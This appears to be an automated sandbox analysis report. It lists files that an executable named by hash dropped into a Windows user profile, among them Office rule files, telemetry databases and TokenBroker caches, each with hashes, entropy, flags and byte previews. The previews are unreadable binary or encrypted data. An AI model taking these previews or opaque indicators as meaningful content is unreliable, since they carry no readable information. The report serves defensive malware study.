MD5:	D15D35FD2080CA6AD5AB7594729C9AFF
SHA1:	9BBFF77CD2F8157B296936C69C5493E3C6647FC8
SHA-256:	B9C5858DE861B3CBA327C180658763161D80E2EF2F325AA0A4C0BFE4BAC1011E
SHA-512:	26CE2AB6B16AB98B5182A8228450129B5BB9D771C482FA8E39642B064CB5F50121AFD89849AB5B59CB083374DD40A64B7A662187080CE1EC46BB4476898193FB
Malicious:	false
Preview:	<Rule..~....`d..}.%...d..(....j..02Sy.597.s..T...'N...0.V:.1]%_..A8.....*..G.9..b...{..>....6P.......).?/B....r....?LZ.........$..#.!4d2f.\.>4.....)?...di..Y...d89;..2.Pf..{.....`.XuJ.....o..%A....G.....%1:.'.....K....mN...BZ7.?.C.s..s...8xGa......&(D.mP..o...u .x..........C....I....f....8.....^..p..NO4...\|..i.>.;....l\|)...}2.._7v..x,.N.d..B.,.\|.k.. .Ig......$Z.S..\|pJ~De...wj.g......;V......P.u,..?...:sx..k...Bk.RV..J.q.+.i+...E.\.1<...5.-.c.gP..C}.....J.I.Em..T.........^...D.....^H.?....pR...g........./.`Es.!Zo..O....y...".0.1.......3..Z7o.......@...4c.8?\..Y.......%[....j%..3.@y......4..u>.i.b.G. \|@<..2....=3......2=.a.9..!9m$...KS..3...2k.C..t.zy,.M,$..siN. #B#.Nv..7{...e....I.....6o.e..]....0..Ao.'m..0\|C.7.N&.x.....S..U..gL..~.\k..c2.s..2u.....,t.E.....q...E..44n.MU..\.............(..,J.5....#T.OVbpK.....tdo........S..D..._.n.}..0..kN..\...9........_...i.....[..a.I.....F..E6.h..{. x!.......F..P....{..C...J.. T...T......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.632454092617926
Encrypted:	false
SSDEEP:	3072:iX8emdoFa2UbZWDcD86DXaAxjEn1j8CAMCAoa6Fgig/NA/lbabn:Ik88W2ax1j/PfpZ/NA/Yn
MD5:	26ABEF761D7043A6EEE4360BEA641816
SHA1:	72F0A744B549AEC4CE34D9AC484DCE543D8E33A6
SHA-256:	BBD14470EB503718143C1E2606C31D2A2C911B5D3B886E93532FE6E8CDFD37B6
SHA-512:	C77DE4FB6048387115D97A9C07C3221A2475BB6082E7F5EE66D4F8F98DD9D6191EA6BE6F6F041584F272133302CA5C179CDEA6F47D3C9E98381416CB0B14769D
Malicious:	false
Preview:	<Rule&rP.../.Jl&}..).T...P..Scd.pk.L.O.Az..F..8..{..wqI.JX4...F...d.....dy"M..=j}.."B2..........X.5Q...9...l...:...\|.#u3fa......D...{..8d.v.bP.L.y8..)l..$h.#.{H....\|.<e.....GA......5.wi]Z..}+....S.Vc`..s..!.m.... ....?..1...Q.7..+....1.4.y{;GB.6.{..K9:.n#&.EMKR."d.J.V.J...Z.#.....z.D......@F.q....%bx.^j.."...z...E..7}w.m..d...J..uV.c[.r.@...A..\.Y.?.w.j.z.6..\u~.O...)...../...a...r.F.)..5..c..b...ijz.....s.iF...R..b!..j.9.3}..a` .?,...~.#U......c.;v.h#.....6......Km...2..YC..e..;W..y.....8v...^.{.w...eB....7..c...Wn..F.jr.f.Fc.d..<~.../w...'..ysT.B]..<.GV.?e...8@.sh...).IM..8...${.....lI"..z.A ......:..t..P.....J].....j{ut3....n.fU-.....[+.~0..._)...c......6{...+.[..S.A.z..A.....da.P.N.c...Px..tR.nT.N.u:.-".N..*..l..f..:`...t.?....g.....FVb.l5xg.C[.egy..A ..H.U...u./K..VN.0v.......2....W.>.HtF...t....^.........\|a.V...Z.Jk..O?..7..#....E..o.2M......Ri.@.2P.K.pd.uSg.U........I}/.9.c'k..Q.K.+..t.x:U..lnk...)....N..D....A....v...b....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514043938687138
Encrypted:	false
SSDEEP:	3072:priRxKID9hAzjIfkfZnc0ZnLHb8c0CaUhUzT6Mv9YLuBmsGMbNXU05:pwKIDcAMxntBHb8c07Um3DYLq
MD5:	FD0AB30F8A9C0851167D4DDCD76849D8
SHA1:	057E93FBC99838C251F4022B812AF9458D45FFA2
SHA-256:	614C17693A4D72F367D1DF27D4C2F21CA6352005B79BB87B4EDA0E8946B1BFF0
SHA-512:	E95CB2254F42A7647F280798277E59D6937170E671E36265D7D64684538B95EA4C75B1252ADF38D9F4D43214A602266A35F7D1EC09A13ECD15D9EC85E328ED83
Malicious:	false
Preview:	<Rule..%[...F.U....i...!.1..D....>..N...EW<..f.. ....y[..5....L.........k...A.?..C....b.9W....G. RQ.5...gS:.k.:6~....>?.T~^.X.."...aB.q0.L....J...x.!kj......#...HY}!E.E.U.0...}.t.....C5..#..0.../..&.. .p.t...p..p...:..Z..].5...,e.'.....B...?.D.4..+.....)\F.JN.8..'..F+.k.}O.<..Yd..Q-........<8..TX.=.wc./.Q....q..kwY.\|`......Q...%....N....e7..%Q.'.......T....Nb+....<.n.....(...hqxj..=..O`...Z.....2....)...*.........oFH\|8.\|0!._..u.@...{1...S.zc..-h...3....\O.~.:=...n...V....n.W[../.........y.V..~{Q..O..P...h u.........AonY1........... .....Z.\|.,.Pw.<......_`..2...B.....6......Q.Ci.i4.B.a/..u../..Bdzr..D..4....3..%.}Z+Ld..5..DM....[q......1.Vm.m...."....`...b....a...M.\|4.x....]...d<ojRH.k`.....\)..]N.IG..].'AN}.\|L..y....b.......#_......@...Gg`&d........d..h......J..v.B........P..:(..t1.HkPi..'..,.RK?.^U....o.F!a...p..O.}..~.f.7...S+........:.....C...)...p.S@v=Y.3.!..jZ&.N.......-....=X-2.4R.W....c...Cd,j80.. ..(... ....,....

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.794583797297239
Encrypted:	false
SSDEEP:	24:yWjCsHRGV/XoIX/3D7GiAdqXCs12yMoeANzKzoh8ez0a3zbD:MsHu/YIX/3uLgXp12yfeazAa3nD
MD5:	09B0328765F32452198D991865539DD5
SHA1:	6D2D033DB2E9CE763BD7889777C3A8D25FAD67AD
SHA-256:	489DE39B2E879F3140F7F8436ED2867CB0A8E195367127218846A1F9F620D069
SHA-512:	180F9C3C02BD8CB9362D4C7E1327D4B5652C540BAD1FB3B2542E169A1CE04A2873BCE26205253052BF4E6B9EA60AC2AD90538C643B8FF03F2487684EAC63DF59
Malicious:	false
Preview:	3.7.4.e...[..?.2......R.a....'G.Q..RS@.jo..iw......<W./......A.s.,rzP.`.....:.....R.kmUQ+_.z......J&.].N%7T..SEi.H.7.t,...4...DFo.3.K.7..D..$..F.+.N...v...s@.....m.0$.".Y.......G....^.-<.g.....K..1<U.!...KN......\|...v....)f.#...tD.......4.p.........V..{..b....m..N........R...E...-s..(.d....k.U.RbI.0.o.. .;E..)..+..cn.\Jb.V.....C.1..d&......E......D'.c.k\|..o....Lcc?.N.G.OE..r"...'.E.....i.. ..p.A(p.f]_........u.3.%J...w#.Sc......k...[Ph.j..7_gd6R._D...!>E.(.h...K~.L...R..fz.w~h.n.LD.).]B[lS......XZo3&......."..4.....>..C.^.E51..w/....C'.R C%.......yY...v+.3c...)N..VE...%..X.#T..b..pCh..pu{...':..(!.......b...+B.a...c.U..jT.ho....5...Z......T...N..... <.6..o..=r...7. ;..O.....C...w.....<HL%;;..(..]R....fS......1.a.vN.b..x.f..g..u.m.N!.o..C}7.8....1N4...j..J..u...=...C....X!.7..[..?...6.C1!.J....>....~.m...o....7..E...z.W......N.z.....b.......\`.)..ld..<...KL.b......h{.._1..!.j.J..q..O...Th\|P........4u.L..G....T..>..mo....N...........lo8)B

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9935468083935035
Encrypted:	true
SSDEEP:	768:xflINTe4uvUmn73HDJCjm85PdB1IVzFhH:V8VAn7D2PdBiVzFB
MD5:	B879AE1AC7B6FC774CBC06381986332B
SHA1:	F1A9BA04D5F4136804D38FCBCCCCD9B592B7B97B
SHA-256:	59C5C37DB7CA1FB72AB2A3B5862FFE3047202100A20C3459D7B8FF35A5AD9088
SHA-512:	7204A21B4FA0DA50527F32BB3318F410D4657D9D83879D985CD98D6035EE241E324B62ADD3C098D0BC4650BCC15CE70ABE4E5249C9520BBF2D515370049E0552
Malicious:	true
Preview:	SQLitpl.m.D.:.e....W.a(....M.1P.Aa.....s.!:_a...?>....`....O,w.Dj.[....$^....0)...x.:8dX.\|.b../......g..v..."Q.....%h....G...5.."R0PR..z..2.h>.g<<...9,.8k..).za..o.........}.h\|.....DUC.x...xph...rqz....3....M.....Zs...%7...=I,.P....Y.zf....W...hN...(R.Q. ..}....1..w(hP...9.".5....mc....i.go..k6......l]....=....M....k!.......Y:.0..`.5..N.^..ukb..T'.....G^4]...n......@...Y..J.0...o.V..O...U_i.QE......&ERO&T./.6..y:.U.-TS......!.R...;k.6....0F.4.#4...+..y.....L..b...M..?....=2......j..K...(..K......v$>...vZmm..z?:..D.B...$.y..z......W.l..L.h.:....6E..D....4\.P....Y.......P.K..n?.B..U.q.Q....\X3...y.w.PF..u T..\......R)%.9.d"ZB.>K..+q.:.>.M.........8.8.<l...O...u..q.F...G..$I..}........w.N1wVJ.C]....C..m..k........S.Y.>.lz{..aqe\|.h...D...-....B-..\|.&...%LZ.......=....G.vc@F...P.}$..Wt.\|..T...........E. ...GH<_D...6y..pr..<S.3q.ET..1b..b..6.......vY:k..?....n...j.......&......(oN..=.K...,.Wl.j..\|%..m".-:.s$q.]......^.X}.~.0.i.O..........>.]...u..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992457261522609
Encrypted:	true
SSDEEP:	768:Ee3/y5vDnzeDvSxJ9CY4hi6kI+DToMB7+:k5riuHC8xI0os+
MD5:	6C1157D4DD364493A0248B9CEE200AC0
SHA1:	56ECFF4FF2DBBE38FAA9E4EA35D77BE32290C38B
SHA-256:	9C9939B338EAE4BD4903696773FBB0B0A0C4DE74BE9384BA4A9580E426464F00
SHA-512:	CDEE51152B96708984CF0E03C4FE1C343114766193665A7A75C8274A78D926BB4D3692678F7CFE0A0A863BB8E7FB153CCC7BF6F762056FF46AC2340929C44AE3
Malicious:	true
Preview:	SQLitiH:.-..m..._....]!d..@E...x...Z........F>..Fq.q...p.......{.z...{?FZ..y...}....J..+c....3.hhz.r,....q..<......z..O.4.%.s.X.....l... .2L._.L.5..8.yp,....z-..c...$....7.GFd.=.....9>..kA.w..g9..5.B.?...'.b....&.....K$...A../E.Q.f`..{`...ti%{Kx.}]H.._.).....o...}....8c{...v.....R5..n>.W...........e^WlB{zIlBi...\|..=...].:.w..Y.H>I..e<{..O58=.5....R,..!u@X..Wx.Wx.@........&..{.k.-..V.;"e.0...L:..raU#._.<.......UB...8.4....\|E.:..&.L.)......N....v...A::.H....i....W.;.....%..._....&.......`.g........g..$.t.d@."(.FF<....W..o#.^}.[..e.....\|...S..%u.....:..j....9.up..,.Ub..../..:...Y..._."..)..../..g<..<.Kv3.....O."].^..M....o...h.b%.Ol...y....M}.k#.bR...N.....H.Zp..;.(..93]..4D7....s..;...R...{b.+=....\...$.$.H}.......h.....P..^..p.S.z.U.......#.T...PV..].&...)c."d6.....<.:..M..@....4U.....p.?u...`.`..j...`..-].R.#}%@..Q<..=2Z.F.M......b./...X.?5......S...g\d.!......]..4.....:.<{.G............K.....j...d..ga.i!....,...q.L...3.5.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.994241198016258
Encrypted:	true
SSDEEP:	768:zbczUzCE7dUgl8IGa+GX5g7We86pPAl7UahKyDCJT6:b7dv8IMO9e9polgMYU
MD5:	45B80023F8A3AFBD2E8BA24D9AE11FEE
SHA1:	B739BC69359AE82DFFF5D60C20B5106C13A1EE04
SHA-256:	DD621732F5F9F0940C050B8B4E799053D4EB281B1E5203717BC8610CA5CC24A4
SHA-512:	1965AF105E358EE9FA2979074E1279BA579E480FC3E688338A9A75BB37C6145A52343A06642427AC902F0F287643E24637C2070EC0FF3D51D79EAFB3E3C4A1A7
Malicious:	true
Preview:	SQLit..0dl7..M.B.m.F..b....i..........w...;........D..@..........H].'.P.I....^.~7..\.2........'..M.t.I..NS.Z..50=..17.\|.-lW.X7....%A0S../......'t.o.sN.....W...).\...."....:......~...h.r...R...j..X.^.U.lr=.S..5V..F..\.A_.D..V...8!IN.0......x..Q+].%g#F.....~Oh.4o....j......L..Lhe...D....k~$!S.@t..F./.H:..Y.j..3......I...udeY.F\.zS............U#`b.\|8.$+.............3..{.q.f7O..0=.....o0..T..ZphQ.s....#......"C.R..OInk.....O..B..`.!....XY...0.....P......%.+.`.e[..=-...n.oX.`_Y...Z..x.....:FHF...Fs.s....n.....[.>v . t...#.<.0..FU8...4..K...E...x.<+&\|.]'........@1.O.).xyS.Gc.V...$.#.....U[.......\|bIxB...3.8.d..>...L!..D....Ez.......a".`Q... .i.~......A...U_...;.S......NS%)..N....T.@\..l%....RX.R_a..~.......X.=...I._.h......XU.2.r.....E.......1.Y.%...I.'......<.[v.b...=.~%.....4q...R.H...v.%.....1.M..K.q>.-...g.[o.I....../0..i.^..9"..@S5oN....p.U.c;....y.).0...%.........H..5z..Q......E#....Af.H[.....9........O.\......!..G

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993051233982991
Encrypted:	true
SSDEEP:	768:Fcs2RLBokbXEyFU7Npy3el51E5kZDZ2WkY2:FkOkbUyQNs3elakf213
MD5:	25120FF15FF321881AE0BB384230D090
SHA1:	19CAA8A501ABE7F07770747615550806631D97BD
SHA-256:	DEF000691B8DF76615A2E83B85D147BFAACDCE333965EEEE2922135B413B0E8F
SHA-512:	053F06A19100DBB8ECBE32D6518128FAE55AC99454B20C0C211AD5AE3C7857D6A44C90880B589E07C5ACAD75DB57C7EFC8F90D62E00976299020622E584BD7A8
Malicious:	true
Preview:	SQLit.jJ&t..w..o..&.;../..G.5..EZ{.....ZY0.....Q.....P..4....`.a.]b..pj..r...:.g..#.."#@..b..}P......4.....x...Y...N......kaJ..&l.#........dN.5_._..N...:GY......q.....:.s........\..."..Q..h.H.Z..h.M.~3.....wu......s7....A..JV...To.....@.f...JI!S.'.E..2nU......u..@Xp..-...is....[.....;..$.A.-%.rS.[.....>.o...RU.v...~.....I.;.!z.!/.....`..Q.%........_..4,.zF..`c.SSU............^;I).;3/.O....j...gn..}...p.K8..]Z........:;..L.F...B.kTJ%.oB...q$.......R.g.Q.x......^.d.._.@.@.N..@.r>C.....<1..}:..P.E...h............r.r2(.{...:....?...A=...7Yg.$2cSQ.}......t..I\|m..../..zbi...9c>.v1cN.$W>\k.....z.ks....b....I.W.;...).a...BG.P.<.>...\O?C......(........N..L.E.Ta".Y.....VJ\|.~$j.H.Y....E.\52.S..D.....+.<_..k)......x}.T}\2RI.Ye.bB...2.g-/.B.\..!.....*..>..E..B...c{L..E_.......d..fNdB@.4..{..ec..jc.XS!..X..)..gUl.!Z...1x.. C<.y~2...Yk.:{...C.........u.8..S....l......!j..^U.}:NRS]"Z......:4...W..s.3.......5Ab..1../........(..k7.f....

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.856022862993601
Encrypted:	false
SSDEEP:	24:YwcDS+zjWrLyc2t+67WUL5rzPwtjelzYfNy77CQ3PWmYBWahm9lt93zbD:YphzILyBWULlzPDk0WmY4ahmfP3nD
MD5:	63647E74803FFA57BDCB3E4E410ABED4
SHA1:	A86C697366F6649822B8F3D33759DF4313751996
SHA-256:	5482CA7E3A178EECEF33CD6269DC12FF91F795FCCC6C612A06DAD6D4EC36CD45
SHA-512:	929B8506F81D97587A1FAFB0A13CE077FAFA7D74E7569082B5E057BAFF6F8C36248AD94FA5CB61680F52B37D481B8DBD2A37CA21E6407B86C16FD70963F5B0E9
Malicious:	false
Preview:	{"Recy.uu..c.}ic!...5#..g....B.IL.....r.eN.F.N.r..(.K.U,.....j.[.3\|...(D.$.......@..eo.....x.7.U..jU...o^.p-.G.\|N..7...\|.[...Q..e7{&.K.V..)c......O...b7.E....Z#.._..A]I..-5....}.u....vt..\.....3./Azd!...S.q;.....I.i....8.k..5V.'2...........KzN...^1.A.c....fk2.e..5..k...8...`..}{..W.\|.qkd..7.....S.....e.jw..u/..&.-...G!.w.\...B...i.o...EV7.Y....0..o....i.....OI.. p.Y.<..p.tr..mX<....6._+..'....,.<...E..O.7....&.\q..\.;.....l ..{l.DxU.T....u....C.>0G.X....".`Nv.`..T.n.;.}..Q..w._...4F.6..j...t.&zQ..#..... O..UN...L.p......E....0v.H....QU....Pny`?..c..<.B@z0u..r.t]...-.\|.{..&}l..`Y..eYS4#.q._.+D.....'.....6>.....2...Q.....;..z.[.Bx....P.8`N..$.....m_iu.L.x.&P.V..]...4N.....%y.w..jM.!..#..S..H.B(...=.1.X.Q...g\%.H.^.:bngo.!.2..j,GJ?{s...&=\|Clb.(...T..~.....>B..A..t....Ll...&..G....8..D...6e..%...$.....gV..{.e...@.%G.5u.W.z...^.T..X...J".'.?.....`_...._,.C.9j._3;.!..h..>.\|@.!..G....<.vI..~.w.s.+As......B......Y.....L....~7..J....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926524803071262
Encrypted:	false
SSDEEP:	48:ckQFgOXGo5T4cxM8T6DCgIZwkD4dc7tK1SusnKKizOJ1KsHkQAdh73nD:cLbGo58cxLG9bZSusn3izOXKsEFT
MD5:	FD68E33B883801653BBDE7B8ECB0CDA3
SHA1:	1208720F3E998755373A252810B3CF51AC0200DC
SHA-256:	56B1565B2DEF5BC6863CA42D1B2949A9F2F73F093ECCE14789ACAE1AC25C4F06
SHA-512:	61F04680B5E501698CD0D5FB2975BA8F9D4BC892699CCBFAAF583B1FF27C89F772576C0000A49812FDBE0A89BFDDEA4988AE498D07E0C339DD98153CDE1053DC
Malicious:	false
Preview:	{.".T..=~...q[<...T..u..._.\|k..jH..0^....i#f..&..+._2......3.FLP..`..UL..c.p...o.m...H.:...s....8~#=...<.......c....q...A....v....{%..,-h.Btu.9/......M.#.].Z]...#...z5.....[.0;q....'-.AAn)2...X......3.5.`.g..].5.....!..&.@.O'.]..}.,..a..n..F.........iN'Y..J<.r.t..U..b..h.B$...HAu.".._yt.N.`&.....Q2....9/.M^..9p_...c....2v.....n..%.!.2...s.....k\|.....4..F;..ze.!.F.+"m.k..\|...r.0...}.'.5.(..:v(.h.07..[;Cv.j..9....{....f..3........U{S[...Pi.y.>.'....9`kP.....4..#r .+g..y......8.9.Z...VG.u.i.>S..a}.t.b...f.....}.....&H.B..X.Hzt..Am.&..]...E....WG..\.].B.R....Z..UC.O...D7.8\Qb.)O.l...)..o..eZ!...'.).To#...-.v".V{.....\d.....g.>T..>.6.sm...wCU...GP-v'z;M..Qa1=U.p.v.5[......J..(.hV..c..ud.J.mb....^...kq.......%#.Q.t.....q.....w..G.,A..v.k..._j-0....r}.....^a.M..%L.3)._%#^.(...`.x..K}.z...X.A.}.).6q..+C......e.....4..%x+2.M......H@ .."..z......e....I}Wd'......9..!0~..,..^..y.$.)kA.....wN..............e.....U....".#P...q..M.G.y..<..K...".

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.936327324914745
Encrypted:	false
SSDEEP:	48:F5a2FtRDvwnYXKTcfo5dHHvVAyEBTA0zJ6g8nk/Dj/3oSNj8Yjs10uWo3nD:F5a8txqYXKTNdvVAnBUGL8YDTDgKC
MD5:	9D6235AC061027DEF30D6E9E4C390191
SHA1:	58994A7811A0FC2AA23F568D60683C7F21B0A855
SHA-256:	6BD2281C8AA94FF946CEB443365AE77643E6E1D4D375C2EC60FAE5A0C753FAFE
SHA-512:	A29D9FE7251BA0738A86708CFD915BFB6F60C2669F13C08C3B3B964B6E2400F690A16D89555D18FE5B7637F1F4D69DD939BEF5AB34BCB3B0B58E4DF6EF01CDAB
Malicious:	false
Preview:	{.".T.(.......9....CNPC.6.u`...}....FtPq..Q...-..,....=..t-.?....r>D....%`.- C..Y..r;..G.CP..J.~.L.!..,D...,...%..ct h..;.}$.v0H .....R...G4.M:/.D.........l.x.N..<....^.C.... v(...V..9?..8.y}..O..z@Bh...w.Z2.u....6...%.q.<.H.........Ess......S...o.<......c#....Df...k\J......p....>....)k....../.<..;-..A2...G....[^..,....;...e.R}.s....C...q.h}%.{...e.F.#&{..?.....[....C&..c.......RM.7Q............</N...zr"........Z.xm..Q.p.ZEd...V^a.E?..<.d......3..d.{.`.m.....e.f.O...w6..9.f.=...41..I.?..1k...n..OnP..^.w..X7......}.......8......J..O..C.i.n.2.e..U...G..`.6.3.@.X.Y..E..^.=-.g...aa=,..G... ......NF...S.......K......O.m.X(sa.4WF'Z..W..IU..i.,..lR.....J.B0ZJ....6c9ub..10.\|!.....~....Q3..v...T..W@.yx-.+3@s..b..Cb..'..r .>...e..BO:......Q...?...x...zS..p.I...F)..\|.>.P?E...y....T..[.A......gf........LdM.el.A.A8......iTo.l._.....>.\t..my.i.k..>..t.r)....&..!>V...7.z...{.<o....B..I.[..H..\|.)..1...uo....i.J.S...{.../..S....D....G..AaeY1T.]m..!..A...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.922707813273156
Encrypted:	false
SSDEEP:	48:nbjpQGQAg+YZjytJAY/ioxlxUbPfmx+CD1VtBOAikHlmG5DN8J6RA2kN731A85H/:nbeGQAg+YZj2F/Uhq/OCN84KhN7K85H/
MD5:	C77B600B5540328074CF45610E61152D
SHA1:	358CFD1C7524F9625918CE1E1AB433178D63BD91
SHA-256:	5D0F1AE2B02467D940602A4311543F9043034ABDA33F70EF537AC348DC2D6788
SHA-512:	9BB706CE9D9635A51EC911BBAF71971652FEA44FE91C5B5723B7136A817D2410016E9A3B2CA4B531C3B0900AD16628814CEB702510A3E4A6D88EB6B099FE3C3C
Malicious:	false
Preview:	{.".TC.+i...`.:.o.X\.B.....Y....M..'.C....u.].W7..%r..0l.E/..}.h.&.....lb".W...N-..f)...a...z..M.{.Z.X.[..~$X.K)...2...Q.?.....L."...\|_..#N..q..G...j....t@..#klF..._c.#G.4C.............?[ct..Y...&k.#.) ....m/4....@.y...Se.c....F..w..d.......W h.T.`5...l..U..).X1/+.?....VT..".....V....m4.......f....D1.).\|yK.}A.......8.JP3./A..s.7....I........@...e.e.>b&....-/)......./.Ju5:+...V..%..\.....JHJ..Cu....I3>.....!.E.M.b.^...L\|......-B.@.X.1....h.-3B.q.W....T>{.qX..k....B.....m).'.a..S.i.EVrD{.F...I.cy!.bf.....J.$....N...{Em..S..`. :?.7..(cn3..M.(..^l.u. #.N.l...G....t...\..^../..%V$.7....u. .2b..4H.....$.......w?(&...=..v.7.\|....%A.....6...7pm..../..X.^.8X..7...Rn........mg...k.4W..T... +..D......L\.E...k.W.......F...BZ.w.... n.).....B@/U.O.....$.]T./.._.'._=...<.]tMq....g..3...u...-.:....-.q..'... ....i...;M.\.uD......n...m.U{..\|.....v..$.....@.up...Z..Q....`.$.C........M.q...!....x........g.Z..I.V..{d.i8........G... (3...T.Z<Q.. .y.*.bG

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9285246634849065
Encrypted:	false
SSDEEP:	48:bnp91temixmIcYw4tLir8fwb2jJNfvX5CultbGael+c2GP9pbz73nD:bfLigfYiYYb2LH5CYtCIc28z/
MD5:	984CA80D19F5936312BC9C5BB43A9B2C
SHA1:	5CCCA64D78576A5ABF5CE90DF54896A1E963FCC4
SHA-256:	BDD7A9B5E2F2A8482E4770B1CA05F9F8355C63EA705DAD3EC87A7B787A285387
SHA-512:	E414E0B6B0077DF695ED7C9ECEB997BE19B15308BAA36AF1838F33F28745B99742DE5AD678E86BC35D47B8DB4B27C7F8196B67930C791FB6B213AA8CE8CB60C7
Malicious:	false
Preview:	{.".Tdy..w.W...I.k.4.(..T...Q...u......oa .f!=N...$a.6....~DJJ.$M........i..y..&@...o..B;...H...).,).e.x,..81...f .u.R..k....wG.7....a.A..S....+...I.X....ra.]..j.sM.s.......@..WD(.v/5.^...be...}.....&..+/L...z.....x=.......w.W.^X..\s..<...:.w.\....+.6DM.1..VS..^4.....Q.UA.c7.0%...[C.V....8....M{....cc..HJ,.$.<D..}....R...'..xc}.Dh?q...FH.rG..P>.A........-...`)..\|..+.8C'.K.+...n../...YS6Iu........o..<.D..$..d.OC@%.{RC....1d........Xv..A.....5.p..".;0.4..U.Q..w?uQH..~.n...R].\|.....h.....6.EA..j..^.+3.w..dV.?i.\...B9.3...y~..h..{.4.1U.G.c...s.2.]w]..Pr......l...$/.J..I......_l.Q>..+p.,..bi.c..zQ^`.za..m....>...3...I.{.S&.W.D..h.A.y[C.....~B..+.(j..W.=.m.P......S...>.......A..:..i',"?.qr]..8....L..Q..d...x........=+......s....lx.G0...z.p.4U&J..E..h#..u.-IJn.c.g.j.....&...Y.)rB...m..>.B...3Xj.5.NJ.=..../..f...&e!.....G..0WY.B2.6.1.N..+.\Q.P.P.&....p..s...FZ.;.q.$....'......;..<H&...2.@.(y.I..o.qyqKSpw]`... ..{.LCm...\v.7.x!.....G..X,,(

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.961182280104076
Encrypted:	false
SSDEEP:	96:tE+N4CH0Qjcd0i8NOZ+0QzaPfk6rGI/hexIFfjViIsAioPdxvj6sM:tVxESOQzAGohexbABvj6Z
MD5:	1D2D8C6E3307F730A1DA5D5A8C947003
SHA1:	3D41DBDE699CE2E57E70D718B9657C45DFFD15C6
SHA-256:	1A10A1FE20346C1FA280607D2D428EC1DA2B9A4D5A8DBF5D19661C92CE7EC14B
SHA-512:	C2C0EB41A923F423F7F748DBE613F08ED199A98EEAF4A9493DA6E7FCE2D8E03206FDA48BA701781FC4979AABD9610AD4390E3CC4BC9D343527CBD6899A49714F
Malicious:	false
